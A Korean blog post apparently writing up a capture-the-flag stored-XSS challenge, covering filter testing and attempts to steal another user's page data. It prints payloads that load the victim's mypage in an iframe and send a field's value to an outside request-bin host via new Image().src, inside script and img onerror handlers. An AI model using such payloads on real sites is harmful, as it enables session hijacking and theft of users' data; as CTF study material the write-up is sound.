XSS 1번 풀이

황인환·2024년 6월 29일

XSS 종류

Stored XSS

게시판에 스크립트를 글과 같이 작성후 클릭한 클라이언트에게 삽입된 스크립트를 실행하게 하는 방식

XSS 가능 테스트

특수문자 테스트

글쓰기 및 수정 화면에서 XSS필요한 특수문자가 입력가능한지 <'">을 입력하여 확인 | O 가능 X 불가능

<'">입력 TEST출력값

필터링 테스트

<img>, <script> 등 사용할 태그를 확인

<img>,<script> 입력출력값

alert,prompt등 사용할 함수 확인

alert,prompt 입력출력값

XSS가능한지 alert(1)넣어서 확인

alert(1);삽입출력

XSS 쿠키탈취 시나리오

TEST가 성공한 곳에서 쿠키 탈취

document.cookie 테스트
Get방식으로 정보탈취 -> new Image<img>태그 생성 방식

document.cookie 삽입코드 심은 사이트 방문쿠키 탈취 결과

관리자페이지에 TEST

관리자페이지 방문결과

XSS 정보수집 시나리오

XSS MyPage정보 가져오기

<iframe>태그 활용
-> <iframe src ="URL">을 이용하여 원하는 사이트 불러옴

iframe 적용

스크립트 삽입 <script>

<iframe src = "http://ctf.segfaulthub.com:4343/xss_1/mypage.php" id="target">
</iframe>
<script>
document.getElementById('target').onload=function(){ let tar = document.getElementById('target');
let get = tar.contentDocument; 
let a = get.getElementsByName('info'); console.log(a[0]);}
</script>
console에 확인

GET방식으로 전송

<iframe src = "http://ctf.segfaulthub.com:4343/xss_1/mypage.php" id="target">
</iframe>
<script>
document.getElementById('target').onload=function(){ let tar = document.getElementById('target');
let get = tar.contentDocument; 
let a = get.getElementsByName('info'); 
new Image().src='https://env2ukig2umbh.x.pipedream.net?cookie='a[0].placeholder;}
</script>

결과

실패 요인 -> 글자수 제한
해결방법 -> img 태그를 활용해서 스크립트 길이를 줄이도록 시도

결과(실패)

스크립트 삽입 <img>

<img>태그를 이용하여 GET방식 전송

test<iframe src = "http://ctf.segfaulthub.com:4343/xss_1/mypage.php" id="target">
</iframe>
<img src = x onerror= "
let tar = document.getElementById('target');  
let get = tar.contentDocument; 
let a = get.getElementsByName('info'); 
new Image().src='https://env2ukig2umbh.x.pipedream.net?cookie='+a[0].placeholder;"/>

결과

실패 요인 -> 글자수 제한
해결방법 -> img 태그를 활용해서 스크립트 길이를 줄이도록 시도

결과(실패)

결론

  • GET방식말고 다른 방법으로 전송가능한 방법 찾기

  • 글자 수를 줄일수 있는 방법 찾기

0개의 댓글